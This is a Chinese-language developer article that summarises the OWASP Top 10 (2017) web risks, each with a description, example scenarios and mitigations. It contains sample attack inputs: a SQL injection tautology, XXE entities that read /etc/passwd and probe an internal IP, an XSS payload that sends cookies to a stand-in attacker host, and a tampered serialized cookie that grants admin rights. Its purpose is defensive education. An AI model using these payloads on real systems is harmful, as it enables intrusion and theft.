开发安全 - OWASP Top 10

在学习安全需要总体了解安全趋势和常见的Web漏洞,首推了解OWASP,因为它代表着业内Web安全漏洞的趋势。@pdai

OWASP简介

OWASP(开放式web应用程序安全项目)关注web应用程序的安全。OWASP这个项目最有名的,也许就是它的"十大安全隐患列表"。这个列表不但总结了web应用程序最可能、最常见、最危险的十大安全隐患,还包括了如何消除这些隐患的建议。(另外,OWASP还有一些辅助项目和指南来帮助IT公司和开发团队来规范应用程序开发流程和测试流程,提高web产品的安全性。)这个"十大"差不多每隔三年更新一次。

本文总结自:www.owasp.org.cn - 2017 - 10项最严重的 Web 应用程序安全风险在新窗口打开

OWASP Top 10: 2013版至2017版改变了哪些内容

在过去的几年中,应用程序的基础技术和结构发生了重大变化:

  • 使用node.js和Spring Boot构建的微服务正在取代传统的单任务应用,微服务本身具有自己的安全挑战,包括微服务间互信、容器 工具、保密管理等等。原来没人期望代码要实现基于互联网的房屋,而现在这些代码就在API或RESTful服务的后面,提供给移动 应用或单页应用(SPA)的大量使用。代码构建时的假设,如受信任的调用等等,再也不存在了。
  • 使用JavaScript框架(如:Angular和React)编写的单页应用程序,允许创建高度模块化的前端用户体验;原来交付服务器端处理 的功能现在变为由客户端处理,但也带来了安全挑战。
  • JavaScript成为网页上最基本的语言。Node.js运行在服务器端,采用现代网页框架的Bootstrap、Electron、Angular和React则运 行在客户端。

OWASP Top 10

A1:2017-注入

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

知识点简介

一些常见的注入,包括:SQL、OS命令、ORM、LDAP和表达式语言(EL)或OGNL注入。所有解释器的概念都是相同的。代码评审是最有效的检测应用程序的注入风险的办法之一,紧随其后的是对所有参数、字段、头、cookie、JSON和XML数据输入的彻底的DAST扫描。组织可以将SAST和DAST工具添加到CI/CD过程中,以便于在生产部署之前对现有或新检查的代码进行注入问题的预警。

案例场景

  • 场景#1:应用程序在下面存在脆弱性的SQL语句的构造中使用不可信数据:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
  • 场景#2:同样的,框架应用的盲目信任,仍然可能导致查询语句的漏洞。(例如:Hibernate查询语言(HQL)):
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

在这两个案例中,攻击者在浏览器中将“id”参数的值修改成: 'or'1'='1。例如: http://example.com/app/accountView?id=' or '1'='1

这样查询语句的意义就变成了从accounts表中返回所有的记录。更危险的攻击可能导致数据被篡改甚至是存储过程被调用。

如何防止?

  • 防止注入漏洞需要将数据与命令语句、查询语句分隔开来。
  • 最佳选择是使用安全的API,完全避免使用解释器,或提供参数化界面的接口,或迁移到ORM或实体框架。
  • 注意:当参数化时,存储过程仍然可以引入SQL注入,如果PL/SQL或T-SQL将查询和数据连接在一起,或者执行带有立即执行或exec()的恶意数据。
  • 使用正确的或“白名单”的具有恰当规范化的输入验证方法同样会有助于防止注入攻击,但这不是一个完整的防御,因为许多应用程序在输入中需要特殊字符,例如文本区域或移动应用程序的API。
  • 对于任何剩余的动态查询,可以使用该解释器的特定转义语法转义特殊字符。OWASP的Java Encoder和类似的库提供了这样的转义例程。
  • 注意:SQL结构,比如:表名、列名等无法转义,因此用户提供的结构名是非常危险的。这是编写软件中的一个常见问题。
  • 在查询中使用LIMIT和其他SQL控件,以防止在SQL注入时大量地泄露记录。

A2:2017-失效的身份认证

通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

知识点简介

确认用户的身份、身份验证和会话管理非常重要,这些措施可用于将恶意的未经身份验证的攻击者与授权用户进行分离。如果您的应用程序存在如下问题,那么可能存在身份验证的脆弱性:

  • 允许密码填充在新窗口打开,这使得攻击者获得有效用户名和密码的列表。
  • 允许暴力破解或其他自动攻击。
  • 允许默认的、弱的或众所周知的密码,例如“Password1”或“admin/admin”。
  • 使用弱的或失效的验证凭证,忘记密码程序,例如“基于知识的答案”,这是不安全的。
  • 使用明文、加密或弱散列密码(参见:A3:2017-敏感数据泄露)。
  • 缺少或失效的多因素身份验证。
  • 暴露URL中的会话ID(例如URL重写)。
  • 在成功登录后不会更新会话ID。
  • 不正确地使会话ID失效。当用户不活跃的时候,用户会话或认证令牌(特别是单点登录(SSO)令牌)没有正确注销或失效。

案例场景

  • 场景#1:

凭证填充,使用已知密码的列表,是常见的攻击。如果应用程序不限制身份验证尝试,则可以将应用程序用作密码oracle,以确定凭证是否有效。

  • 场景#2:

大多数身份验证攻击都是由于使用密码作为唯一的因素。依据最佳实践,最新的密码轮换和复杂性要求鼓励用户使用、重用以及重用弱密码。建议组织NIST-800-63中停止这些实践,并使用多因素身份验证。

  • 场景#3:

应用会话超时设置不正确。用户使用公共计算机访问应用程序。用户直接关闭浏览器选项卡就离开,而不是选择“注销”。攻击者一小时后使用同一个浏览器浏览网页,而当前用户状态仍然是经过身份验证的。

如何防止?

在可能的情况下,实现多因素身份验证,以防止自动、凭证填充、暴力破解和被盗凭据再利用攻击。

  • 不要使用发送或部署默认的凭证,特别是管理员用户。
  • 执行弱密码检查,例如测试新或变更的密码,以纠正“排名前10000个弱密码在新窗口打开” 列表。
  • 将密码长度、复杂性和循环策略与NIST-800-63 B的指导方针的记住秘密在新窗口打开,或其他现代的基于证据的密码策略相一致。
  • 确认注册、凭据恢复和API路径,通过对所有输出结果使用相同的消息,用以抵御账户枚举攻击。
  • 限制或逐渐延迟失败的登录尝试。记录所有失败信息并在凭据填充、暴力破解或其他攻击被检测时提醒管理员。
  • 使用服务器端安全的内置会话管理器,在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中,可以安全地存储和当登出、闲置、绝对超时后使其失效。

A3:2017-敏感数据泄露

许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。

知识点简介

首先你需要确认的是哪些数据是敏感数据(包含:传输过程中的数据、存储数据)而需要被加密。例如:密码、信用卡卡号、医疗记录、个人信息应该被加密,特别是隐私法律或条例中规定需要加密的数据,如:欧盟《通用数据保护条例》(GDPR)、 属于“金融数据保护条例”的《支付卡行业数据安全标准》(PICDSS)。对于这些数据,要确定:

  • 在数据传输过程中是否使用明文传输? 这和传输协议相关,如:HTTP、SMTP和FTP。外部网络流量非常危险。验证所有的内部通信,如:负载平衡器、Web服务器或后端系统之间的通信。
  • 当数据被长期存储时,无论存储在哪里,它们是否都被加密,包含备份数据?
  • 无论默认条件还是源代码中,是否还在使用任何旧的或脆弱的加密算法?
  • 是否使用默认加密密钥,生成或重复使用脆弱的加密密钥,或者缺少恰当的密钥管理或密钥回转?
  • 是否强制加密敏感数据,例如:用户代理(如:浏览器)指令和传输协议是否被加密?
  • 用户代理(如:应用程序、邮件客户端)是否未验证服务器端证书的有效性?

案例场景

  • 场景 #1:

一个应用程序使用自动化的数据加密系统加密信用卡信息,并存储在数据库中。但是,当数据被检索时被自动解密,这就使得SQL注入漏洞能够以明文形式获得所有信用卡卡号。

  • 场景 #2:

一个网站上对所有网页没有使用或强制使用TLS,或者使用弱加密。攻击者通过监测网络流量(如:不安全的无线网络),将网络连接从HTTPS降级到HTTP,就可以截取请求并窃取用户会话cookie。 之后,攻击者可以复制用户cookie并成功劫持经过认证的用户会话、访问或修改用户个人信息。除此之外,攻击者还可以更改所有传输过程中的数据,例如:转款的接接收者。

  • 场景 #3:

密码数据库使用未加盐的哈希算法或弱哈希算法去存储每个人的密码。一个文件上传漏洞使黑客能够获取密码文件。所有这些未加盐哈希的密码通过彩虹表暴力破解方式破解。 由简单或快速散列函数生成加盐的哈希,也可以通过GPU破解。

如何防止?

对一些需要加密的敏感数据,应该起码做到以下几点:

  • 对系统处理、存储或传输的数据分类,并根据分类进行访问控制。
  • 熟悉与敏感数据保护相关的法律和条例,并根据每项法规要求保护敏感数据。
  • 对于没必要存放的、重要的敏感数据,应当尽快清除,或者通过PCI DSS标记或拦截。未存储的数据不能被窃取。
  • 确保存储的所有敏感数据被加密。
  • 确保使用了最新的、强大的标准算法或密码、参数、协议和密匙,并且密钥管理到位。
  • 确保传输过程中的数据被加密,如:使用TLC。确保数据加密被强制执行,如:使用HTTP严格安全传输协议(HSTS在新窗口打开 )。
  • 禁止缓存对包含敏感数据的响应。
  • 确保使用密码专用算法存储密码,如:Argon2在新窗口打开scrypt在新窗口打开bcrypt在新窗口打开 或者PBKDF2在新窗口打开 。将工作因素(延迟因素)设置在可接受范围。
  • 单独验证每个安全配置项的有效性。

A4:2017-XML 外部实体(XXE)

许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。

知识点简介

应用程序和特别是基于XML的Web服务或向下集成,可能在以下方面容易受到攻击:

  • 您的应用程序直接接受XML文件或者接受XML文件上传,特别是来自不受信任源的文件,或者将不受信任的数据插入XML文件,并提交给XML处理器解析。
  • 在应用程序或基于Web服务的SOAP中,所有XML处理器都启用了文档类型定义(DTDs在新窗口打开)。因为禁用DTD进程的确切机制因处理器而不同,更多资料请参考:《 OWASP Cheat Sheet ‘XXE Prevention‘ 》在新窗口打开
  • 如果为了实现安全性或单点登录(SSO),您的应用程序使用SAML进行身份认证。而SAML使用XML进行身份确认,那么您的应用程序就容易受到XXE攻击。
  • 如果您的应用程序使用第1.2版之前的SOAP,并将XML实体传递到SOAP框架,那么它可能受到XXE攻击。
  • 存在XXE缺陷的应用程序更容易受到拒绝服务攻击,包括:Billion Laughs 攻击。

案例场景

大量XXE缺陷已经被发现并被公开,这些缺陷包括嵌入式设备的XXE缺陷。 XXE缺陷存在于许多意想不到的地方,这些地方包括深嵌套的依赖项。最简单的方法是上传可被接受的恶意XML文件:

  • 场景 #1:攻击者尝试从服务端提取数据:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
  • 场景 #2:攻击者通过将上面的实体行更改为以下内容来探测服务器的专用网络:
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
  • 场景 #3:攻击者通过恶意文件执行拒绝服务攻击:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>

如何防止?

开发人员培训是识别和减少XXE缺陷的关键,此外,防止XXE 缺陷还需要:

  • 尽可能使用简单的数据格式(如:JSON),避免对敏感数据进行序列化。
  • 及时修复或更新应用程序或底层操作系统使用的所有XML处理器和库。同时,通过依赖项检测,将SOAP更新到1.2版本或更高版本。
  • 参考《 OWASP Cheat Sheet ‘XXE Prevention‘ 》在新窗口打开在应用程序的所有XML解析器中禁用XML外部实体和DTD进程。
  • 在服务器端实施积极的(“白名单”)输入验证、过滤和清理,以防止在XML文档、标题或节点中出现恶意数据。
  • 验证XML或XSL文件上传功能是否使用XSD验证或其他类似验证方法来验证上传的XML文件。
  • 尽管在许多集成环境中,手动代码审查是大型、复杂应用程序的最佳选择,但是SAST在新窗口打开 工具可以检测源代码中的XXE漏洞。如果无法实现这些控制,请考虑使用虚拟修复程序、API安全网关或Web应用程序防火墙( WAF )来检测、监控和防止XXE攻 击。

A5:2017-失效的访问控制

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

知识点简介

访问控制强制实施策略,使用户无法在其预期的权限之外执行行为。失败的访问控制通常导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。常见的访问控制脆弱点包括:

  • 通过修改 URL、内部应用程序状态或 HTML 页面绕过访问控制检查,或简单地使用自定义的 API 攻击工具。
  • 允许将主键更改为其他用户的记录,例如查看或编辑他人的帐户。
  • 特权提升。在不登录的情况下假扮用户,或以用户身份登录时充当管理员。
  • 元数据操作,如重放或篡改 JWT 访问控制令牌,或作以提升权限的cookie 或隐藏字段。
  • CORS配置错误允许未授权的API访问。
  • 以未通过身份验证的用户身份强制浏览的通过身份验证时才能看到的页面、或作为标准用户访问具有相关权限的页面、或API没有对POST、PUT和DELETE强制执行访问控制。

案例场景

  • 场景 #1:应用程序在访问帐户信息的 SQL调用中使用了未经验证的数据:
pstmt.setString(1,request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

攻击者只需修改浏览器中的“acct”参数即可发送他们想要的任何帐号信息。如果没有正确验证,攻击者可以访问任何用户的帐户。

http://example.com/app/accountInfo?acct=notmyacct
  • 场景 #2:攻击者仅强制浏览目标URL。管理员权限是访问管理页面所必需的。
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

如果一个未经身份验证的用户可以访问任何页面,那么这是一个缺陷。如果一个非管理员权限的用户可以访问管理页面,那么这同样也是一个缺陷。

如何防止?

访问控制只有在受信服务器端代码或没有服务器的 API 中有效,这样这样攻击者才无法修改访问控制检查或元数据。

  • 除公有资源外,默认情况下拒绝访问。
  • 使用一次性的访问控制机制,并在整个应用程序中不断重用它们,包括最小化CORS使用。
  • 建立访问控制模型以强制执行所有权记录,而不是接受用户创建、读取、更新或删除的任何记录。
  • 域访问控制对每个应用程序都是唯一的,但业务限制要求应由域模型强制执行。
  • 禁用 Web服务器目录列表,并确保文件元数据(如:git)不存在于 Web的根目录中。
  • 记录失败的访问控制,并在适当时向管理员告警(如:重复故障)。
  • 对API和控制器的访问进行速率限制,以最大限度地降低自动化攻击工具的危害。
  • 当用户注销后,服务器上的JWT令牌应失效。

开发人员和 QA人员应包括功能访问控制单元和集成测试人员。

A6:2017 – 安全配置错误

安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。

知识点简介

您的应用程序可能受到攻击,如果应用程序是:

  • 应用程序栈堆的任何部分都缺少适当的安全加固,或者云服务的权限配置错误。
  • 应用程序启用或安装了不必要的功能(例如:不必要的端口、服务、网页、帐户或权限)。
  • 默认帐户的密码仍然可用且没有更改。
  • 错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
  • 对于更新的系统,禁用或不安全地配置最新的安全功能。
  • 应用程序服务器、应用程序框架(如:Struts、Spring、ASP.NET)、库文件、数据库等没有进行安全配置。
  • 服务器不发送安全标头或指令,或者未对服务器进行安全配置。
  • 您的应用软件已过期或易受攻击(参见A9:2017-使用含有已知漏洞的组件)。

缺少一个体系的、可重复的应用程序安全配置过程,系统将处于高风险中。

案例场景

  • 场景#1:

应用程序服务器附带了未从产品服务器中删除的应用程序样例。这些样例应用程序具有已知的安全漏洞,攻击者利用这些漏洞来攻击服务器。如果其中一个应用程序是管理员控制台,并且没有更改默认账户,攻击者就可以通过默认密码登录,从而接管服务器。

  • 场景#2:

目录列表在服务器端未被禁用。攻击者发现他们很容易就能列出目录列表。攻击者找到并下载所有已编译的Java类,他们通过反编译来查看代码。然后,攻击者在应用程序中找到一个严重的访问控制漏洞。

  • 场景#3:

应用服务器配置允许将详细的错误信(如:堆栈跟踪信息)返回给用户,这可能会暴露敏感信息或潜在的漏洞,如:已知含有漏洞的组件的版本信息。

  • 场景#4:

云服务向其他CSP用户提供默认的网络共享权限。这允许攻击者访问存储在云端的敏感数据。

如何防止?

应实施安全的安装过程,包括:

  • 一个可以快速且易于部署在另一个锁定环境的可重复的加固过程。开发、质量保证和生产环境都应该进行相同配置,并且,在每个环境中使用不同的密码。这个过程应该是自动化的,以尽量减少安装一个新安全环境的耗费。
  • 搭建最小化平台,该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架。
  • 检查和修复安全配置项来适应最新的安全说明、更新和补丁,并将其作为更新管理过程的一部分,(参见A9:2017-使用含有已知漏洞的组件)。在检查过程中,应特别注意云存储权限(如:S3桶权限)。
  • 一个能在组件和用户间提供有效的分离和安全性的分段应用程序架构,包括:分段、容器化和云安全组。
  • 向客户端发送安全指令,如:安全标头在新窗口打开
  • 在所有环境中能够进行正确安全配置和设置的自动化过程。

A7:2017 – 跨站脚本(XSS)

当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。

知识点简介

存在三种XSS类型,通常针对用户的浏览器:

  • 反射式XSS:应用程序或API包括未经验证和未经转义的用户输入,作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。 通常,用户将需要与指向攻击者控制页面的某些恶意链接进行交互,例如恶意漏洞网站,广告或类似内容。

  • 存储式XSS:你的应用或者API将未净化的用户输入存储下来了,并在后期在其他用户或者管理员的页面展示出来。 存储型XSS一般被认为是高危或严重的风险。

  • 基于DOM的XSS:会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。理想的来说,你应该避免将攻击者可控的数据发送给不安全的JavaScriptAPI。

典型的XSS攻击可导致盗取session、账户、绕过MFA、DIV替换、对用户浏览器的攻击(例如:恶意软件下载、键盘记录)以及其他用户侧的攻击。

案例场景

场景#1:应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据:

(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC) + "'>";

攻击者在浏览器中修改“CC” 参数为如下值:

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

这个攻击导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。

注意:攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造(CSRF)防御机制。CSRF的详细情况见2013年版中的A8项。

如何防止?

防止XSS需要将不可信数据与动态的浏览器内容区分开。这可以通过如下步骤实现:

  • 使用设计上就会自动编码来解决XSS问题的框架,如:Ruby 3.0或 React JS。了解每个框架的XSS保护的局限性,并适当地处理未覆盖的用例。
  • 为了避免反射式或存储式的XSS漏洞,最好的办法是根据HTML输出的上下文(包括:主体、属性、JavaScript、CSS或URL)对所有不可信的HTTP请求数据进行恰当的转义 。更多关于数据转义技术的信息见:《OWASP Cheat Sheet ‘XSS Prevention’》在新窗口打开
  • 在客户端修改浏览器文档时,为了避免DOM XSS攻击,最好的选择是实施上下文敏感数据编码。如果这种情况不能避免,可以采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》在新窗口打开描述的类似上下文敏感的转义技术应用于浏览器API。
  • 使用内容安全策略(CSP在新窗口打开)是对抗XSS的深度防御策略。如果不存在可以通过本地文件放置恶意代码的其他漏洞(例如:路径遍历覆盖和允许在网络中传输的易受攻击的库),则该策略是有效的。

A8:2017 – 不安全的反序列化

不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。

知识点简介

如果反序列化进攻者提供的敌意或者篡改过的对象将会使将应用程序和API变的脆弱。这可能导致两种主要类型的攻击:

  • 如果应用中存在可以在反序列化过程中或者之后被改变行为的类,则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击。我们将其称为对象和数据结构攻击。
  • 典型的数据篡改攻击,如访问控制相关的攻击,其中使用了现有的数据结构,但内容发生了变化。

在应用程序中,序列化可能被用于:

  • 远程和进程间通信(RPC / IPC)
  • 连线协议、Web服务、消息代理
  • 缓存/持久性
  • 数据库、缓存服务器、文件系统
  • HTTP cookie、HTML表单参数、API身份验证令牌

案例场景

  • 场景 #1:

一个React应用程序调用了一组Spring Boot微服务。作为功能性程序员,他们试图确保他们的代码是不可变的。他们提出的解决方法是序列化用户状态,并在每次请求时来回传递。攻击者注意到了“R00”Java对象签名,并使用Java Serial Killer工具在应用服务器上获得远程代码执行。

  • 场景 #2:

一个PHP论坛使用PHP对象序列化来保存一个“超级”cookie。该cookie包含了用户的用户ID、角色、密码哈希和其他状态:

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

攻击者更改序列化对象以授予自己为admin权限:

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

如何防止?

唯一安全的架构模式是不接受来自不受信源的序列化对象,或使用只允许原始数据类型的序列化媒体。如果上述不可能的话,考虑使用下述方法:

  • 执行完整性检查,如:任何序列化对象的数字签名,以防止恶意对象创建或数据篡改。
  • 在创建对象之前强制执行严格的类型约束,因为代码通常被期望成一组可定义的类。绕过这种技术的方法已经被证明,所以完全依赖于它是不可取的。
  • 如果可能,隔离运行那些在低特权环境中反序列化的代码。
  • 记录反序列化的例外情况和失败信息,如:传入的类型不是预期的类型,或者反序列处理引发的例外情况。
  • 限制或监视来自于容器或服务器传入和传出的反序列化网络连接。
  • 监控反序列化,当用户持续进行反序列化时,对用户进行警告。

A9:2017 –使用含有已知漏洞的组件

组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。

知识点简介

如果满足下面的某个条件,那么你的应用就易受此类攻击:

  • 如果你不知道所有使用的组件版本信息(包括:服务端和客户端)。这包括了直接使用的组件或其依赖的组件。
  • 如果软件易受攻击,不再支持或者过时。这包括:OS、Web服务器、应用程序服务器、数据库管理系统(DBMS)、应用程序、API和所有的组件、运行环境和库。
  • 如果你不会定期做漏洞扫描和订阅你使用组件的安全公告。
  • 如果你不基于风险并及时修复或升级底层平台、框架和依赖库。很可能发生这种情况:根据变更控制,每月或每季度进行升级,这使得组织在这段时间内会受到已修复但未修补的漏洞的威胁。
  • 如果软件工程师没有对更新的、升级的或打过补丁的组件进行兼容性测试。
  • 如果你没有对组件进行安全配置(请参考“A6:2017-安全配置错误”)。

案例场景

  • 场景 #1:

很多时候组件都是以与应用相同的权限运行的,这使得组件里的缺陷可能导致各式各样的问题。这些缺陷可能是偶然的(如:编码错误),也可能是蓄意的(如:组件里的后门)。下面是一些已被利用的漏洞:

有些自动化工具能帮助攻击者发现未打补丁的或配置不正确的系统。例如 :Shodan IOT搜索引擎能帮助你发现从2014年四月至今仍存在心脏出血漏洞在新窗口打开设备在新窗口打开

如何防止?

应该制定一个补丁管理流程:

  • 移除不使用的依赖、不需要的功能、组件、文件和文档。
  • 利用如 versions在新窗口打开DependencyCheck在新窗口打开retire.js在新窗口打开等工具来持续的记录客户端和服务器端以及它们的依赖库的版本信息。持续监控如CVE在新窗口打开NVD在新窗口打开等是否发布已使用组件的漏洞信息,可以使用软件分析工具来自动完成此功能。订阅关于使用组件安全漏洞的警告邮件。
  • 仅从官方渠道安全的获取组件,并使用签名机制来降低组件被篡改或加入恶意漏洞的风险
  • 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁,可以考虑部署虚拟补丁在新窗口打开来监控、检测或保护。每个组织都应该制定相应的计划,对整个软件生命周期进行监控、评审、升级或更改配置。

A10:2017 – 不足的日志记录和监控

不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。

知识点简介

下列情况会导致不足的日志记录、检测、监控和响应:

  • 未记录可审计性事件,如:登录、登录失败和高额交易。
  • 告警和错误事件未能产生或产生不足的和不清晰的日志信息。
  • 没有利用应用系统和API的日志信息来监控可疑活动。
  • 日志信息仅在本地存储。
  • 没有定义合理的告警阈值和制定响应处理流程。
  • 渗透测试和使用DAST在新窗口打开工具(如:OWASP ZAP在新窗口打开)扫描没有触发告警
  • 对于实时或准实时的攻击,应用程序无法检测、处理和告警。如果你的应用使得日志信息或告警信息对用户或者攻击者可见,你就很容易遭受信息泄露攻击(请参考A3:2017-敏感信息泄露)

案例场景

  • 场景#1:

一个由小团队运营的开源项目论坛软件被攻击者利用其内在漏洞攻陷了。 攻击者设法删除了包含下一个版本的内部源代码仓库以及所有论坛内容。 虽然代码可以恢复,但由于缺乏监控、日志记录和告警导致了更糟糕的结果。 由于此问题,该论坛软件项目不再活跃。

  • 场景#2:

攻击者使用通用密码进行用户扫描并能获取所有使用此密码的账户。对于其他账户而言,将仅有一次失败的登陆尝试记录。一段时间以后,攻击者可以用另一个密码再次进行此活动。

  • 场景#3:

美国的一家大型零售商据内部使用恶意软件分析沙箱做分析。 沙箱软件检测到了一些可能不需要的软件,但没有人响应此次检测。 在一个境外银行不正当的信用卡交易被检测到之前,该沙箱软件一直在产生告警信息。

如何防止?

根据应用程序存储或处理的数据的风险::

  • 确保所有登录、访问控制失败、输入验证失败能够被记录到日志中去,并保留足够的用户上下文信息,以识别可疑或恶意帐户,并为后期取证预留足够时间。
  • 确保日志以一种能被集中日志管理解决方案使用的形式生成
  • 确保高额交易有完整性控制的审计信息,以防止篡改或删除,例如审计信息保存在只能进行记录增加的数据库表中。
  • 建立有效的监控和告警机制,使可疑活动在可接受的时间内被发现和应对。
  • 建立或采取一个应急响应机制和恢复计划,例如:NIST 800-61 rev 2在新窗口打开或更新版本。

目前已有商业的和开源的应用程序防护框架(例如:OWASP AppSensor在新窗口打开)、Web应用防火墙(例如 :Modsecurity with theOWASP Core Rule Set在新窗口打开)、带有自定义仪表盘和告警功能的日志关联软件。

干系人如何做

开发人员下一步做什么?

建立并使用可重复使用的安全流程和标准安全控制

无论您是刚接触Web应用程序安全,还是已经非常熟悉各种安全风险,创建一个安全的Web应用程序或修复一个已存在的应用程序的任务都可能很困难。若您需要管理一个大型的应用程序系统群,那任务将十分艰巨。

为帮助企业和开发人员以节省成本的方式降低应用程序的安全风险,OWASP创建了相当多的免费和开源的资源。您可以使用这些资源来解决您企业组织的应用程序安全问题。以下内容是OWASP为帮助企业组织创建安全的Web应用程序和API提供的一些资源。在下一页中,我们将展示其它可以帮助企业用于检查Web应用程序和接口安全性的OWASP资源。

安全测试人员下一步做什么?

建立持续性的应用安全测试

安全编码很重要。但验证你想达到的安全性是否真实存在、是否正确、是否像我们想的那样也很关键。应用程序安全测试的目标是提供这些证据。这项工作困难而复杂,敏捷和DevOps当前快速发展的过程给传统的方法和工具带来的极大的挑战。因此,我们强烈建议你思考如何专注于整个应用程序组合中重要的地方,并且低成本高收益。

当前安全风险变化很快,每年进行一次的扫描或渗透测试的日子已经过去了。现代软件开发需要在整个软件开发生命周期中进行持续的应用安全测试。通过安全自动化来加强现有的开发管道并不会减缓开发速度。无论你选择哪种方法,都需考虑一下每年随着应用系统的规模倍增的定期测试、修复、复测并重新部署应用程序的成本。

企业组织下一步做什么?

现在就启动您的应用程序安全计划

应用程序安全已经不再是一个选择了。在日益增长的攻击和监管的压力下,企业组织必须建立一个有效的能力去确保应用程序和API的安全。由于在生产环境中的应用程序和APIs的代码行数惊人,许多企业组织都在努力处理数量巨大的漏洞。

OWASP建议这些企业组织建立一个应用程序安全计划,深入了解并改善它们的应用程序组合的安全性。为了实现应用程序的安全性,需要企业组织中的不同部门之间有效地协同工作,这包括安全和审计、软件开发、商业和执行管理。安全应该可视化和可量化,让所有不同角色的人都可以看到并理解企业组织的应用程序的安全态势。通过消除或降低风险的方式专注于活动和结果,以帮助提高企业安全性。《OWASP SAMM》在新窗口打开和首席信息官的《OWASP应用安全指南》在新窗口打开是这个列表中大多数关键活动的来源。

应用程序管理者下一步做什么?

管理完整的应用程序生命周期

应用程序是人创建和维护的最复杂的系统之一。应用程序的IT管理应该由IT专家来完成,并且由专家们负责应用程序的整个IT生命周期。

我们建议建立应用程序管理器的角色对等于应用程序所有者。应用程序管理器负责整个应用程序生命周期,从尝尝被忽视的IT角度,这包含收集需求到系统下线的过程。

风险因素总结

攻击者可以通过应用程序中许多不同的路径方法去危害您的业务或者企业组织。每种路径方法都代表了一种风险,这些风险可能会,也可能不会严重到值得您去关注。

有时,这些路径方法很容易被发现并利用,但有的则非常困难。同样,所造成的危害有可能无关紧要,也可能导致破产。为了确定您企业的风险,可以结合其产生的技术影响和对企业的业务影响,去评估威胁来源、攻击向量和安全漏洞的可能性。总之,这些因素决定了全部的风险。

下面的表格总结了2017年版Top 10应用程序安全风险因素,以及我们赋予每个风险因素的风险值。这些因素基于OWASP团队拥有的统计数据和经验而决定。为了了解某个特定的应用程序或者企业组织的风险,您必须考虑您自己的威胁代理和业务影响。如果没有相应位置上的威胁代理去执行必要的攻击,或者产生的业务影响微不足道,那么就是再严重的软件漏洞也不会导致一个严重的安全风险。